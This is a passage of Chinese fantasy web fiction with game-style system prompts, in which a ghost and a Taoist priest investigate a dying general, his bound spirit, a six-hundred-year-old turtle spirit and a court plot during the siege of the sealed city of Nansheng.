之后就是越升照例偷摸到河边去看看“阿鬼”的情况,结果落水昏迷。
“齐道长,即便阿鬼离开了三日,它待过的地方也不会这么快就有其他灵异,”越升不服气,“你凭什么断言子渡河如今不能渡人?”
弱小的灵异会自行避开比自己强大的同类的气息,阿鬼一直待在城南的河中,现在又离开了,城西有梦魇出没很正常。
但短时间内子渡河依然安全。
且不说他行军这么多年,做出的判断少有差错,一个将军被人质疑首先肯定不能怀疑自己,士气要足。
齐览平和道:“我没有断言。”
越升还想说什么,这时外面传来了叩门声。
“将军。”
鱼宣转头看去。
“新角色:庞壬——南盛城守城军副尉。”
49. 第 49 章
来人的面相不像武将,更像文官。
越升勉强从“阿鬼”离他而去的打击中回过神来:“庞壬,你过来。”
庞壬走近。
越升冷眼看他:“从西边撤离的主意是你出的吧。”
“是,”庞壬像是没发觉越升的不满,恭顺温和地回答,“将军在河边出了事,这是众目睽睽之下发生的,若是照原计划走水路,只怕百姓有不从之心。”
“那我还得夸你顾虑周全了。”
“不敢,这是属下的分内事,”庞壬依旧很稳,“将军要是另有部署,我也拖延了几日,如今再重新下令来得及。”
越升挑刺道:“拖延?我有教过你这回事吗?”
庞壬眉眼低垂:“将军说,要果断行事。”
“多亏你记得,否则我都要以为你把我教你的东西喂到狗肚子里了。”
庞壬垂着脑袋听教训。
“我遭灵异袭击的说法是你宣扬出去的。”
“刘斤没有那个脑子,你又知道阿鬼的事,”越升越说尾音越上扬,“你想造反吗,庞副尉?”
这话说得太重,庞壬一掀衣袍跪下。
“属下不敢。”
越升看他跪得利落,心情更差。
虽然庞壬心眼多,但跟在自己身边这么久,越升对他的脾性多少有些了解。
他能这么顺服地往地上跪,就说明默认此事是他所为。
庞壬说不敢,只是针对越升说的“造反”。
越升眼看着自己的心腹一个比一个难管,太阳穴直突突。
鱼宣和齐览立在一旁当背景板。
看别人难堪,而且还是人家内部事,他们俩难免尴尬。
“越将军,你们有事先处理吧,我们去外面看看,”鱼宣边推着齐览朝门口去,边回头告辞,“我们去去就回,随时联系。”
一人一鬼溜得飞快,越升也没想着拦。
比起目前来说没有攻击倾向的女鬼和貌似与女鬼一伙的道士,他现在要处理更紧急的事务。
刘斤守在门外,见他们出来,就知道庞壬没好果子吃。
鱼宣和齐览走回到后院禅房的位置时,院子里露天支着一口大锅,百姓正排队打饭。
之前梦魇的孩子的父母认出他们,迎过来:“道长,你们也吃点儿吧。”
“不必,”齐览拒绝了他们的好意,“我二人修行多年,已经辟谷。”
鱼宣也附和着点头:“我们现在有要事在身,不便耽搁,多谢各位了。”
开玩笑,她平时愿意吃点东西,纯粹是为了体验感和食欲,吃不吃对她来说无所谓。
大锅里的稀粥分到每个人手里都不过半碗,她还去占,那也太损阴德了。
上山时要配合张渠的速度,下山就快了。
一人一鬼十分默契地往南边赶去。
子渡河边。
鱼宣眺望河面,发现这一段算是河流收束的地方,并不宽,完全能看见对岸。
但水流湍急,暗流涌动,是翻船事故高发地。
鱼宣:“要下水吗?”
“不急,”齐览把探出一半身子的女鬼拉回来,“你先看看,有没有发现。”
NPC跟着鱼宣久了,也沾染了偷懒的恶习,开始充分利用鱼宣的灵异身份带来的便利。
鱼宣凝神往水底看。
水面并不清澈,全凭鱼宣非人的感知。
微弱的力量在水下不知多深的地方散发出吸引的信号。
鱼宣努力措辞:“我觉得,水底有可以被我吃掉的东西。”
齐览只是看着她,没有立刻接话。
这点时间够鱼宣想通很多关窍。
她是灵异,灵异普遍意义上的食物是它们的同类。
——水下有灵异,这点毋庸置疑。
但这只灵异是不是越升所说的“阿鬼”,还有待商榷。
想明白的鱼宣又要往水里冲。
她既然觉得自己能吃,那这只灵异就一定打不过她,不管活捉还是现杀,都没有犹豫的必要。
齐览庆幸刚才没松开手,这会儿来得及使力拉住她。
鱼宣连着被拦了好几次,一鼓作气,再而衰,三而竭,干脆站定了等齐览解释。
“栖居在水潭、泥沼等环境的灵异本身并不强大,但比普通灵异更危险,”齐览看她停住才放手,“它们很狡猾,不要莽撞。”
NPC都这么说了,鱼宣尽管觉得对她来说风险不大,也歇了直接下水把灵异捞上来的心思。
“那齐道长,你有什么办法?”
齐览明示:“用灵力即可。”
子渡河的水深在绝大多数灵异和道士的射程之外,这给了水底那只灵异天然的安全栖息地。
找到这种养老圣地,难怪“阿鬼”不挪窝。
可惜鱼宣来了。
她肉眼估计完河水的深度,灵力随心意出动,呈麻绳状扎入水中。
距离比预想的要长,看来水下那只灵异不是光躺在那儿睡大觉,还很细心地加了一层障眼法。
鱼宣的灵力浓郁强势,在入水的下一刻,灵异就动了。
障眼法被鱼宣的灵力穿过,湮灭于无形。
水底的真正模样显露在一人一鬼眼中。
那是一个没有具体形状的被水草覆盖的庞然大物。
它的躯体笨重,逃窜得却很灵活。
水草迷彩般的遮挡下,鱼宣看不见它的四肢到底在哪里。
好在她有的是力气和手段。
凭借九成灵力的支持,麻绳五花大绑着那一大坨圆不圆方不方的东西上了岸。
动静不小,不过此刻南盛城中没有别的人,不怕误伤群众。
齐览提醒:“它有实体。”
麻绳溃散成灵力平铺开来,水草尽数褪去。
灵异真容显现。
是一只巨大的乌龟。
准确来说,是一个乌龟壳。
鱼宣上前抬手敲了敲,空的。
她犯愁:跟乌龟壳交流的先例,只有占卜了。
在鱼宣上手剥壳之前,预感自己将要被卸甲的乌龟壳赶紧探出脑袋:“大人,您有什么吩咐?”
“当前进度:45%(剧情探索达到60%将解锁支线)”
鱼宣诧异地看了看突然冒出的乌龟脑袋和四肢,又抬手敲了敲。
听声音确实是空心的。
除非——
“它只有壳是实体,肉身不是。”
鱼宣摸了摸下巴。
不知道
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这种实体化过程是自然选择还是自主选择。
如果是自主选择,那这位龟无霸显然是一只格外缺乏安全感的灵异,死了都要先进化它的宝贝龟壳。
鱼宣例行公事地开始问:“你叫什么?”
知晓姓名对人类来说是相识的第一步,对于灵异则是更为郑重的结交方式,一般情况下不轻易告知外人。
面对一个深不可测的女鬼显然不是一般情况,生死存亡面前什么原则都白搭。
龟无霸很识时务:“大人,我叫怀璧。”
鱼宣:“怀璧,我问你,三日前在这里除了你还有没有其他灵异。”
怀璧眨了眨长年闭着的眼睛:“没有啊,大人,这里一直只有我一个。”
它不敢说的是,除了自己之外的灵异一入水,就会被它吃掉。
怀璧的龟脑袋努力回想,哪一个小灵异有可能跟眼前这位搭上关系。
无果。
鱼宣的气息很陌生,如果怀璧的力量是这一片水域,那她的力量就是一片汪洋,如果怀璧感知过相似的气息,绝对不会忘记。
从怀璧的龟脑袋上,鱼宣实在无法分辨它的微表情,但越升都说“阿鬼”在子渡河中窝了很长一段时间,怀璧说没有,那就是胡扯。
女鬼展出一个渗人的笑:“怀璧,你听说过龟卜吗?”
怀璧:……
齐览附和:“人与灵异皆能诡辩,而占卜一道绝无妄言,或可一试。”
怀璧这才注意到一边的青年。
“大人,有道士!”
鱼宣扬眉:“我知道。”
怀璧看了看他们之间的身位,一张龟脸上不知道是惊讶还是惊吓居多。
“大人,您养着一个道士做什么?”
鱼宣无法回答这个问题,但她毫不心虚:“我的事少打听,你若不想拆了这身乌龟壳,就老老实实地跟我交代。”
怀璧的龟脸皱巴巴,瞄向齐览的眼神羡慕又不解,不明白这个人类除了吃起来更有挑战性之外还有什么特殊之处。
不过怀璧拎得清,比起窥探女鬼的私事,还是保住这身壳更重要。
它往后缩了缩,发现覆盖自己身上的灵力除掉水草后并未散去,而是严丝合缝地贴附在它全身,把整只龟控住。
灵力或聚或散,对施法者而言都是引天地之气为己用,是借力,对练度和契合度要求极高。
让灵力的形态变化不是难事,维持它才是关键。
所以用灵力防御比攻击更耗费施法者的精神。
从鱼宣化绳把怀壁绑上来到现在,已经小半刻钟。
怀璧生而为龟,趋利避害的本能为它拉响了警铃。
面前的女鬼,它穷尽所有修为也惹不起。
怀璧认怂很快:“大人,这河里水流不停歇,我在此迎来送往六百余年,记性已大不如前,容我再想想。”
“不急,其他的慢慢想,”鱼宣笑眯眯,一步步走近,“我现在对你这身龟壳更有兴趣,就从这里说起吧。”
在公子穆亲笔写下的奏章和弓鸣县的告示上,日期都被系统标注成统一的格式。
六百余年,算算时间,正好是姜灵王和姜武王在位的时期。
对于那位活祭的王女,鱼宣在意很久了。
50. 第 50 章
怀璧好想逃,但是它逃不掉。
小命被捏在鱼宣手里,怀璧连缩回壳里都做不到。
它垂头丧气:“大人,我这身壳自有意识以来就有了,没偷没抢,真的。”
自有意识以来就有。
鱼宣若有所思。
“这么说,龟壳是你的本体了?”
六百年的龟壳,碰上机缘生出灵智,不无可能。
怀璧:“应该……吧。”
身魂异形的灵异有自我认知障碍是普遍现象,怀璧其实也不确定自己究竟是个什么。
鱼宣隐晦地扫视过巨大龟壳上的纹路,将话题从龟壳上转移:“六百年前,你灵智初生,可见过什么特别的人?”
怀璧暗暗松口气,认真回想后点点头:“有的,大人。”
“我最初还没有完整的形态,在子渡河底随波逐流,虽然过去很久,我记性越来越差,但我记得一个道士。”
怀璧转头看了看齐览:“跟他差不多。”
鱼宣追问:“后来呢?”
“后来他死了。”
鱼宣:……
这话听着既晦气又莫名其妙。
齐览:“它应该是沉眠了许久,六百年里昏昏沉沉,能记事已经算好了。”
鱼宣:怪不得。
看来指望从怀璧嘴里挖出历史遗留信息不太靠谱。
鱼宣回归正题:“给了你回想的时间,这会儿想起来了吗?”
怀璧迟钝地望着鱼宣。
它用生锈的脑子倒带,才想起鱼宣一开始的问题。
怀璧小心翼翼试探:“不知大人要找的那位有什么特征可供参考吗?”
鱼宣沉默。
她一开始没考虑这是一只健忘的老年乌龟,灵异也不常见,所以直接问了。
现在的问题是,人家不是不回答,只是想不起来,反过来找她要查找对象特征。
可鱼宣根本没见过“阿鬼”。
跟“阿鬼”有一腿的越升又看不见灵异。
就算“阿鬼”与怀璧碰过面,也不能一上来就自报家门,只凭一个不一定被灵异认可的名字去找,理所当然地希望渺茫。
齐览:“它身上血煞气息重,长年混迹人类身边。”
他形容的是越升。
“阿鬼”跟着越升,气息相似很正常。
事实证明灵异对气息足够敏感。
齐览这么说,怀璧的记忆一下子清晰很多。
“这样的气息,我有印象,”它慢吞吞道,“是一只大肚蜥蜴。”
怀璧的描述一下子就让鱼宣有了联想。
“它是什么时候出现的?”
怀璧:“大概是最近一个月以内。”
时间对得上。
南盛城之战的灵异出生点在北方,起初人们把它当作往常的灵异一样对付,首先摸排它的活动范围。
很不幸,不久后人们发现,这只灵异来去自如,地缘限制在它身上几乎没有任何体现,只能推断出它的行进方向是南方。
越升作为一个经验丰富的老将,很荣幸地成为了被任命对付这只灵异的倒霉蛋。
按副本的时间线,军队驻扎在南盛城半月有余,越升两日后身死,军中无主将,顽强抵抗不到十日就全军覆没。
现在看来,覆没的原因除了越升身死,还有“阿鬼”的不知所踪。
“阿鬼”是大肚蜥蜴的概率有七成。
剩下的三成扣在怀璧的记性太差、时间线的跨度较长和越升无法描述“阿鬼”的外形。
鱼宣:“那它现在在哪里?”
怀璧摇头:“我休眠已有三日,方才也留意过,河中并无其他灵异,或许它早已离开了。”
鱼宣总觉得哪里不对劲。
齐览:“河中既然安全,那我们将它带走,按越升的计划进行水路撤离也无不可。”
鱼宣看着一座小山丘似的怀璧犯了难。
龟壳有实体,普通人类也能看见,副本范围就这么大,无论把它丢哪里都很显眼。
齐览看出她的顾虑:“龟甲坚硬,送去城北让它抗一抗攻势吧。”
鱼宣还没忘,越升就是在北面迎敌后开始有病症。
灵异同类相斥,放怀璧过去分散点注意力能让守城军轻松一点。
齐览的提议其实挑不出错。
但鱼宣对怀璧另有打算。
“齐道长,你说有没有可能让越升把通灵玉借我用用?”
越升没有拒绝的余地。
通灵玉里没有“阿鬼”之后,对他而言就只剩一个预警效果,鱼宣往旁边一站,除了闹心就是闹心,不如拿远些。
看NPC这么配合,鱼宣很满意。
将怀璧收入其中后,她作势要把玉坠戴上。
齐览伸手捏住玉坠。
鱼宣奇怪地看过去,见齐览不松手,她干脆卸了力道让他拿去。
玩游戏的都知道,NPC问你要一样东西,肯定会给你报酬。
推本进度都快过半了,鱼宣把手里的东西数过一遍,好像齐览就给了她一个导览图。
于是她满怀期待地看着齐览,看他掏出手帕给玉坠细致地擦了一遍,又不知道从哪里摸出一条崭新的红绳换上。
齐览把玉坠还给她:“好了。”
鱼宣接过来,系统也没提示有什么附魔效果。
越升垮着脸,但他现在身在病中,“阿鬼”又不在,南盛城还要仰仗这俩突然出现的道士女鬼的诡异组合。
戴上通灵玉的鱼宣捂住胸口眼前一黑。
谁也没告诉她所谓的感知灵异就是心悸啊。
鱼宣本身就是一个百年难遇的大灵异,戴上通灵玉等于给自己加了个debuff。
齐览眼疾手快地搭了把手。
“封住它。”
鱼宣手心一烫。
“恭喜玩家获得技能【封印符符印】——镇魔封妖,画地为牢。”
第三个符印,到手了。
封印通灵玉后,那股强烈的心悸感终于消失。
鱼宣看向越升的眼神中掺了点敬佩。
任谁时不时来这么一下也得被吓出个好歹来,越升能戴着收纳了“阿鬼”的通灵玉这么多年,对自己真够狠的。
她没有注意,齐览也静静看着她。
青年面上无波,心中翻起惊涛骇浪。
灵异是没有心脏一说的。
鱼宣会对通灵玉有反应,这在齐览所学之中并无前例。
人会因断掉或坏死的肢体产生幻痛,灵异不会,哪怕是本体的损伤也只会让他们失去灵力,损伤太严重就消散。
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>鱼宣太像活人了。
“将军,药熬好了。”
刘斤推门而入。
刘斤不知道自己被越升和庞壬蒙在鼓里,非常开朗地跟他们打招呼:“大家都在啊。”
之前刘斤跑去找庞壬告诉他越升醒来的消息时,庞壬边往这边赶边吩咐人去请大夫来给越升看诊。
结果当然是查不出任何病因,只能开一些温和的补药。
也就是现在刘斤手上端来的这一碗。
五感灵敏就是这点不好。
鱼宣被酸苦的药味熏得捂鼻子,探头看了看漆黑的药汤。
“物品:清风散——清热解毒,主护灵台。”
药效清晰明了,可以概括为板蓝根加咖啡。
看得出来庞壬很怕越升又倒头睡过去。
“刘校尉,辛苦了,”鱼宣接过药碗搁在床边的桌面上,又掏出药包,“这里既然有煎药的地方,不知道方不方便多熬一份,齐览他前些时日与灵异对上,旧伤未愈。”
刘斤满口答应:“那是自然,我这就拿去让他们熬上。”
进门都没坐一下的刘校尉转身往门外走去。
鱼宣拢在袖中的手腕翻转,金线出手,把门拍上。
才出门的刘斤鬓边碎发荡起,回头看一眼砸出声的门,回忆屋内几人的站位,挠了挠头。
今天风也不大啊。
越升伸出的手一顿。
离越升最近的齐览看他要去端药碗,反手一劈。
越升缩手及时,惊魂未定。
“你们干什么?”
鱼宣确认了越升脸上只有惊吓没有惊讶。
她歪了歪头:“你知道?”
越升眼神闪烁。
清风散,清热解毒。
首先是清热。
越升都冻成那个狗样了,还清热?
鱼宣一语道破的同时又有那么一点幸灾乐祸:“越将军,一语成谶,你的庞副尉,真的要造反了。”
“当前进度:46%(剧情探索达到60%将解锁支线)”
越升冷着脸,他战绩卓然,固然有“阿鬼”的功劳,但比起一个不可控的灵异,他始终更相信握得住的武器。
当年内乱临危受命,单骑破重围,才是这位年少成名屡立战功的将军最出彩的成绩。
“庞壬,你们不能动。”
可惜他吓唬不到在他面前的一人一鬼。
鱼宣安静等着他的下文。
齐览当然不能让鱼宣白白地等着,他把话题往下引:“就因为他是当今皇后的弟弟?”
鱼宣眉头扬得老高,谴责地看向齐览。
NPC总是把一些关键信息藏着掖着,还让不让玩家好好推本了?
越升摇头:“将在外,君命有所不受,何况区区一个国舅。”
鱼宣:“那为什么?”
越升往后一靠,闭了闭眼:“君命不受,圣意难违。”
庞壬所为,不是他本意,而是皇帝的心意。
鱼宣两只眼睛里明晃晃地写着“就这啊”和“然后呢”。
她微眯双眼:“你不要告诉我是功高震主这种老套的原因。”
越升被鱼宣过分直白又大逆不道的话卡了一下,胸腔里悲怆的情绪都生生散了一大截。
“……不是。”
51. 第 51 章
不是就好。
鱼宣以为,这都是灵异本了,皇帝要是个拎不清的早就死了八百回,能不能坐上龙椅都不一定。
难得有个能让军队在跟灵异对阵时不那么被动的人才,因为功高震主这种理由让人去死也太扯了。
“那就是因为阿鬼。”
越升默认。
庞壬是国舅,他知道就代表皇帝也知道。
如果越升能控制住阿鬼还好,偏偏他也是在阿鬼手里讨生活。
这就不是越升有没有反心的问题了。
无论皇帝信不信得过越升,阿鬼都是一个不可抗的因素,或许能靠着它得到一时的好处,但阿鬼吞噬灵异的同时自己也在壮大,有朝一日它反咬一口,对人类一方的打击不可估量。
但显然,要是冒然攻击,惹怒阿鬼,也很难收场。
所以从越升身上下手最方便。
齐览:“是要借你的壳,困住它?”
鱼宣顺着齐览的话捋下去,发现这个办法损是损了点,不过胜算大。
越升知情且配合,基本上万无一失。
以齐览的身份,知道相关术法并不奇怪,越升承认得很痛快:“是。”
鱼宣不甘落后,开始查找世界观资料。
“寒蝉让壳术:又称入鞘术,使用此术,必须使出壳者的体温足够低,并建立与入壳者的牵绊,出壳者让出身体后,入壳者自动补位。”
看文字描述,与借尸还魂异曲同工。
区别是尸是主动方,而魂是被动方。
想也知道,强买强卖的能是什么好东西。
看不见摸不着是灵异的天然优势之一,被塞进实体之后更容易受人宰割,何况是人为挑选的载体。
越升身上能做手脚的地方多了去了。
鱼宣:“为什么是半个月前?”
越升既然知道他们的身份,就不会在这种细节处撒谎做无谓的挣扎。
谁也不知道一个道士会在什么时候掏出真言符。
他也确实没撒谎,只是有部分信息隐而不报。
鬓斑点点如霜,越升苍白得发灰的脸上却带着如释重负的笑:“半个月前,围杀南盛城的灵异被阿鬼吞食了。”
燃眉之急已经解决,是时候反过来清算战时盟友了。
鱼宣:“所以它沉入子渡河底,是在消化吸收新的力量为己用。”
这时候的灵异专心致志,很少去注意其他事。
但子渡河里已经有一个怀璧了,为了抢地盘,刚刚才打过一架的阿鬼又得干仗,力有不逮也正常。
所以现在阿鬼在怀璧肚子里的可能性比较大。
如果阿鬼是大肚蜥蜴,怀璧记性差到把自己进食的记忆忘掉导致断片,那这条逻辑链就可以成立。
怪不得越升坚持子渡河可以过,但是发现自己睡了三天又不嚷嚷了。
三天的时间足够灵异把与自己不相上下的同类分解完,正是觉得自己又行了的当口,谁碰上去都倒霉。
鱼宣看向齐览:“阿鬼消失,越升这具身体会怎么样?”
齐览:“入鞘术不可逆,他非死不可。”
鱼宣叹气,转而面向越升:“越将军,现在有一个好消息是阿鬼已经死了,坏消息是子渡河依然不能渡人,因为那里还有一只蛰伏六百年的灵异在。”
虽然现在这只灵异正在鱼宣脖颈上挂着。
齐览静静听着鱼宣故弄玄虚。
越升的脸色越来越难看,白死他最多亏去一条命,但他死了,南盛城依旧身处险境,他死不瞑目。
“鱼道长,你有什么办法吗?”
被喊出一身鸡皮疙瘩的女鬼回头,庞壬推门而入。
隔墙有耳,不知道这位国舅爷听见了多少。
鱼宣:大意了。
庞壬拱手道:“能在这么短的时间内察觉事有蹊跷,足见二位道长见多识广,还请一定出手相助,救南盛城百姓于水火。”
救不救另说,庞壬的态度是摆出来了。
是个聪明人。
鱼宣喜欢跟这样的人交流。
“庞副尉言重了,我二人既然来此,本就秉着护卫黎民的道心。”
庞壬轻轻颔首:“道长大义,庞壬佩服。”
越升打断他们:“子渡河不能过,难道只能从斧劈崖走吗?”
鱼宣伸出食指,在他面前左右晃了晃,似乎在嘲讽他的天真。
“越将军,我劝你不要试图让任何人进出南盛城。”
副本如果会给出供人通行的缺口的话,他们俩早就出去了,何苦磨时间呢?
他们进来的节点一定是被算好了的,就是要玩家在围城中破一盘死局。
越升作为主将,往常从没有人敢跟他大小声,这一会儿鱼宣就呛了他几回,他憋屈得郁气满胸腔。
喉头一辛,一口血喷在被褥和床帐上。
庞壬赶紧端起药碗递过去。
鱼宣皱眉要去拦,齐览解释:“入鞘术不可逆,一旦开始,出壳者不维持低温状态,身体只会衰败得更快。”
越升拿过碗一口闷。
鱼宣对入鞘术的本质有几分猜测。
入鞘入鞘,敛其锋芒。
首先将出壳者的生机蚕食殆尽,再把入壳者塞入一具纸糊一样脆弱的肉身,纵有通天之能,也不得不瞻前顾后。
低温充当了麻醉,让出壳者感受不到自己的衰亡。
这些都好说,换谁来都行。要是仅仅是这样,皇帝不会舍弃越升。
偏偏还要求牵绊。
人与灵异的牵绊只有三种:亲缘、姻缘、附庸。
尽管阿鬼不可控,但它在越升脖子上挂了那么久没跑路,还会在战场上帮帮忙,某种意义上来说它就是越升的附庸。
越升喝完药,深呼吸,确认自己心平气和,才盯着鱼宣问:“你刚才说,不能让任何人进出南盛城,是什么意思?”
鱼宣:这我很难跟你解释。
她总不能说自己是根据游戏的一贯套路猜的。
无法用言语解释的逻辑,只能指望人们相信自己的眼睛。
鱼宣控制着力道引出袖中金线。
金线先到越升面前晃悠了一圈,让他看见,才钻出窗户,直升天际。
越升披衣下床到窗边。
女鬼的金线因为霜花而更显眼,在空中撞上无形的屏障,寸寸消融。
金线反馈回来的信息告诉鱼宣
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,屏障的厚度几近于无,但它之外就无法探寻了。
厚度几近于无,却能轻易消融鱼宣的金线。
它有一个更通俗的名字:空气墙。
只是一般的空气墙主要起到一个拦路的作用,而不会持续性地吞掉玩家的力量。
鱼宣的金线沿着被消融的地方拐弯,贴着天际划出一道线,消融的痕迹铺开,从天边到地面,截至东面城门,南面河流,西面山崖,北面密林。
四面楚歌。
“当前进度:47%(剧情探索达到60%将解锁支线)”
越升久久凝望着被鱼宣的灵力勾勒出来的无形结界。
让NPC心服口服的目的达到了,鱼宣收回金线。
“越将军若还有异议,尽管让人去试。”
活人能不能出去鱼宣不知道,但灵异肯定是出不去的。
南盛城里,可全是灵异。
越升无话可说,恨自己喝药喝早了,没办法再吐一口血把心头郁气清一清。
一个武将的身体如今脆弱如纸,也能窥见曾经的好底子。
换了旁人被入鞘术蛀空得只剩两日余寿,能从床上爬起来走这么几步真够呛。
可惜了。
鱼宣趁着NPC专注看天,悄悄挪到齐览身边。
“齐览,你有头绪吗?”
耍威风的事女鬼做得顺手,救场还是道士更专业。
鱼宣声音压得低,几乎贴着他,看在齐览眼里,是一种无意识的亲近。
齐览垂眼看她:“还记得吗?越升是因灵异而死,而非入鞘术。”
鱼宣愣了下。
入鞘术如果成功,阿鬼附身越升,那人们认为他是死于灵异之手情有可原。
可阿鬼已经查无此鬼,入鞘术只会让越升作为一个空壳死去。
鱼宣再次看向窗外,灵力勾勒出的屏障归于无形。
怀璧说,子渡河没有其他灵异。
越升说,围杀南盛城的灵异被阿鬼吞食了。
南盛城内,能在接下来的两日作乱的,除了怀璧,就只有不知生死的阿鬼。
怀璧被封在通灵玉中,暂时翻不出浪花。
至于生死未卜的阿鬼。
鱼宣不知道自己要不要相信怀璧的描述,真的照着大肚蜥蜴这个标准去找,毕竟怀璧的记性差和嗜睡设定看起来就很不靠谱。
就在鱼宣头脑风暴的时候,越升和庞壬也看够了。
庞壬搀扶着越升回到床上。
看他们和谐相处,鱼宣有点意外。
她还以为代表了皇帝的庞壬带着监督越升老老实实赴死的任务来,两人的关系应该公事公办里带着点尴尬的疏离,刘斤才与越升的关系更亲近。
现在看来,越升防刘斤可比防庞壬要多。
越升心力交瘁地靠着枕头。
他很疑惑:人之将死,死前突然醒来不该是回光返照吗?怎么轮到他身上就是纯粹的行将就木?
越升其实想睡过去,但清风散的药效在他身上作用起来,他根本提不起劲也睡不着。
他勉强撑起精神将目光锁定在鱼宣身上。
“无论什么办法,只要能破此局,越某万死不辞。”
52. 第 52 章
鱼宣突然承受来自NPC的莫大期望,不由得感到压力。
齐览:“越将军不必如此,凡是我们能想到的,不会刻意隐瞒,何况如今我们也身在局中,该出手时一定竭力而为。”
越升听君一席话,如听一席话,却也不好再硬逼他们当下就拿出应对之策。
鱼宣看了看越升,总觉得与他多说几句话都是在耗他的命数,于是转向庞壬:“庞副尉,你与越将军负责前线作战,北方灵异消失后,你在忙什么?”
刘斤忙归忙,人家有要干的活,之前越升以为“阿鬼”仍在,且有不认人的迹象,百姓撤离刻不容缓。
而庞壬,在鱼宣看来比刘斤要神出鬼没多了,但没有相应的任务匹配给他。
一个副尉,难道还用得着每天去巡逻吗?
庞壬被点名,愣了愣。
军中除了越升和刘斤,再没有人有权过问他的安排,鱼宣的问话就仿佛她是一个空降的领导一样顺口,庞壬动了动嘴,没有吐出一个字。
越升眉心褶皱愈深:“鱼道长,此乃军中要务,实在不便外传。”
鱼宣已经能够坦然接受这个与自己的身份南辕北辙的称呼。
眼前的两个NPC对她的问题逃避得太明显,鱼宣不深挖都不行。
越升罔顾女鬼的好心,替庞壬回答:“是我让他去的。”
“北方灵异被阿鬼吞噬后,它的气息没有消失,只是与阿鬼的纠缠在一起,”越升耷拉着眼皮,“你说阿鬼死了,可是在我的感知里,它仍然存在,另一个灵异的气息也是。”
气息是灵异存在的根本证明。
灵异只会在刚刚吞食同类后出现气息交缠的情况。
如果按鱼宣所想,半个月足够阿鬼把城北灵异吸收得渣也不剩,三日也足够怀璧消化完阿鬼,那么即使越升对阿鬼再熟悉,也不该能从怀璧的肚子里发现阿鬼的踪迹。
除非阿鬼一开始就没死。
“当前进度:48%(剧情探索达到60%将解锁支线)”
鱼宣:……
绕这么一大圈让她自己跟自己博弈,结果又回到了原点。
“所以庞副尉的任务是,找到阿鬼?”
才问出口,鱼宣又自己否决了这个可能。
这不合理,通灵玉在越升手上,庞壬一个普通人哪来的本事去找一只灵异?
越升:“南盛城中还有灵异,这场仗就还有得打。我让庞壬每日巡视,如有异象即刻禀报。”
还真是巡逻啊。
“越将军是怀疑,城北密林的那只灵异也尚存于世?”
越升没说是或不是。
“庞壬,让兄弟们休息一日,你带着这两位一起,按平日的路线走一趟吧。”
本来就是被强行逼醒的越升声音越来越细弱,交代完这一句,尾音几不可闻。
鱼宣不忍:“越将军歇息吧,我们就不叨扰了。”
据庞壬所说,这半月来他每日绕城四周,南盛城的封闭早有预兆。
子渡河上无舟渡,传往京城的求援也没有回音。
只是越升私下与他说过灵异未死的猜测,城内外交通音讯受阻更加佐证了这一点。
唯一值得庆幸的是,他们在此前已经送出了大批百姓。
庞壬停住。
鱼宣看向他:“庞副尉,怎么了?”
“三日前,那时子渡河还能出去,”庞壬面色凝重,回头看她,“南盛城外的结界是在这期间完成的,但这半月内我们送出的加急信从未有过回复,也没有援军到来。”
鱼宣提出疑问:“这段时间南盛城不是没有遭受威胁吗?为何还要求援?”
庞壬摇头:“将军猜测阿鬼失忆并非随口胡诌,自从阿鬼的气息出现混沌后就没有在玉坠中待过了,起初将军以为是外面的环境更适宜它转化力量。”
齐览:“这也不错,通灵玉毕竟是死物,其中的灵力只作维持法器运转的用途,不能为人所用。”
庞壬继续说:“将军与阿鬼的联系,在这半月时断时续,这是此前从未有过的状况。”
时断时续的联系使入鞘术变得具有不确定性,越升不擅道术,遇到这种预料之外的变化,只好传讯回京。
“传讯符是国师大人给的,人为的外力无法拦截,除非——”
除非对方不是人。
见一人一鬼一副此前从未听闻的模样,庞壬替越升解释了一嘴:“将军如今心力有限,许多事交代不全,二位道长如果有什么不清楚的,尽管问我就是。”
鱼宣叹气。
这个副本光是提供信息差的NPC就有两个:一只乌龟,一个病人。
如果线索挖掘不到位,失之毫厘差之千里,真就只有暴力通关一条路走了。
而南盛城的结界又恰好弥补了这一点。
庞壬的巡视路线是西北东南,如此绕一圈,第一个目的地是城北密林,也就是南盛城被围杀的前线战场之一。
“它的攻击手段依赖植物,这片山林是它天然的栖息地,一开始被害的人是附近的砍柴工,只是没闹大,任它逍遥了些时候。”
鱼宣:“那最终是怎么闹大的?”
“按它原本的行进方向,该是往更西边去,于是南盛城的防护并不严密,春猎时失踪数十人,我们才掉头往这边赶。”
密林确实有人为修整打理的痕迹,能看出从前是个猎场。
“春猎时,失踪了什么人?”
“一位县主及其仪宾,城主家的长子和次子,宝来钱庄的少公子……”
非富即贵。
鱼宣笑了笑:“看来你们此战备受期望,负担不小吧。”
庞壬没法接话,只回以一笑。
“庞副尉!”
庞壬转头,张渠带着一小队人匆匆而来。
“什么事?”
张渠到庞壬面前站定,抱拳道:“庞副尉,方才天边异象,我等受刘校尉派遣,来与您对接。”
天边异象?
鱼宣眨眨眼,对上庞壬看过来的视线。
“不必惊慌,那是道长的术法,”庞壬无奈解释,“将军有令,撤离事宜暂缓,还请刘校尉严加戒备。”
张渠领命而去。
庞壬应付完下属,转眼对上鱼宣玩味的眼神。
代主将下令,即使是越升身在病中,也还有一个刘斤在。
国舅爷的架子摆得太明显,任他再聪明,也名不正言不顺,真不怕事后问责吗?
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被女鬼盯着,庞壬莫名心里发寒。
扼制住与她拉开距离的冲动,庞壬勉强扯了扯嘴角:“鱼道长,看来你的神通引起了不小的误会。”
鱼宣撇开眼:“城中百姓仅千余,兵比民多,即便动乱又如何?”
庞壬一噎。
鱼宣这话说的,仿佛他怪罪她就是承认守城军军纪不严明。
而就此作罢又好像默认军队会暴力镇压动乱。
庞壬看向保持沉默的青年,期望他能接手交流的任务。
可惜齐览对庞壬的暗示毫不理会,只是安静地充当背景板。
鱼宣在密林感知到非常熟悉的气息。
是怀璧。
可是怀璧说过他在水底迎来送往……
鱼宣气笑了。
乌龟水陆两栖,它能下水,也能上岸。
怀璧可没有说过,自己从未离开子渡河。
庞壬轻咳一声:“这里看过了,没有异常,我们走吧。”
东面是城门。
南盛城向来繁荣,曾是前朝古都,城门格外恢弘,相比之下罗庄城就朴素得多。
站在城门楼上,视野开阔许多,能看见城外几乎没有人迹,植被无人管束,疯狂掠夺养分占满道路。
庞壬望着杂乱的草叶:“原本出城后有一条官路,灵异东北两边围杀时操纵草木疯长,硬生生堵死了。”
鱼宣:怀璧真是太屈才了,有这能耐做绿化得多方便。
植被上仅存的气息足够鱼宣辨认,但也近乎消散了,鱼宣只是看过一眼收回视线。
“这里也没有灵异作乱,庞副尉,不必浪费时间了。”
庞壬自知没有这两位专业,谨慎地又看过一遍后就不再停留。
